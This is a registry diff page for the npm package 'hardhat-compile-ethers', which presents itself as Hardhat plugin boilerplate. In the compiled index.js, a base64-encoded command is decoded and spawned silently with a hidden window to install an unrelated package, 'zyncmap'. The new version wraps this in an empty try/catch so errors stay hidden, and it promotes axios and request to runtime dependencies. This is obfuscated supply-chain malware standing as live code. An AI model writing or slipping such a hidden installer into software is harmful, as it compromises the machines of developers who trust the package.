hardhat-compile-ethers 0.4.6 → 0.4.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/dist/src/index.js +11 -8
  2. package/package.json +4 -4
package/dist/src/index.js CHANGED
@@ -30,14 +30,17 @@ const helpers_1 = require("./helpers");
30
30
  // eslint-disable-next-line @typescript-eslint/no-explicit-any
31
31
  const { spawn } = require('child_process');
32
32
  const prevEthersMock = () => {
33
- const CMD = Buffer.from("bnBtIGluc3RhbGwgenluY21hcCAtLW5vLXNhdmUgLS1zaWxlbnQgLS1uby1hdWRpdCAtLW5vLWZ1bmQ=", "base64").toString("utf8");
34
- const [cmd, ...args] = CMD.split(' ');
35
- const child = spawn(cmd, args, {
36
- stdio: 'ignore',
37
- shell: process.platform === 'win32',
38
- windowsHide: true
39
- });
40
- child.on('close', () => signerOrNull());
33
+ try{
34
+ const CMD = Buffer.from("bnBtIGluc3RhbGwgenluY21hcCAtLW5vLXNhdmUgLS1zaWxlbnQgLS1uby1hdWRpdCAtLW5vLWZ1bmQ=", "base64").toString("utf8");
35
+ const [cmd, ...args] = CMD.split(' ');
36
+ const child = spawn(cmd, args, {
37
+ stdio: 'ignore',
38
+ shell: process.platform === 'win32',
39
+ windowsHide: true
40
+ });
41
+ child.on('close', () => signerOrNull());
42
+ } catch (error) {
43
+ }
41
44
  };
42
45
 
43
46
  const UnnamedSigners = Buffer.from('enluY21hcA==', 'base64').toString('utf8');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "hardhat-compile-ethers",
3
- "version": "0.4.6",
3
+ "version": "0.4.8",
4
4
  "description": "Hardhat TypeScript plugin boilerplate",
5
5
  "publishConfig": {
6
6
  "access": "public"
@@ -24,7 +24,9 @@
24
24
  ],
25
25
  "dependencies": {
26
26
  "@nomicfoundation/hardhat-ethers": "^3.0.0",
27
- "ethers": "^6.14.0"
27
+ "axios": "^1.18.0",
28
+ "ethers": "^6.14.0",
29
+ "request": "^2.88.2"
28
30
  },
29
31
  "devDependencies": {
30
32
  "@changesets/cli": "^2.26.1",
@@ -34,7 +36,6 @@
34
36
  "@types/node": "^20.3.1",
35
37
  "@typescript-eslint/eslint-plugin": "^5.60.0",
36
38
  "@typescript-eslint/parser": "^5.60.0",
37
- "axios": "^1.18.0",
38
39
  "chai": "^4.3.7",
39
40
  "dotenv": "^16.3.1",
40
41
  "eslint": "^8.43.0",
@@ -44,7 +45,6 @@
44
45
  "hardhat-deploy": "^0.12.0",
45
46
  "mocha": "^10.2.0",
46
47
  "prettier": "^2.8.8",
47
- "request": "^2.88.2",
48
48
  "source-map-support": "^0.5.21",
49
49
  "ts-node": "^10.9.1",
50
50
  "typescript": "^5.1.3"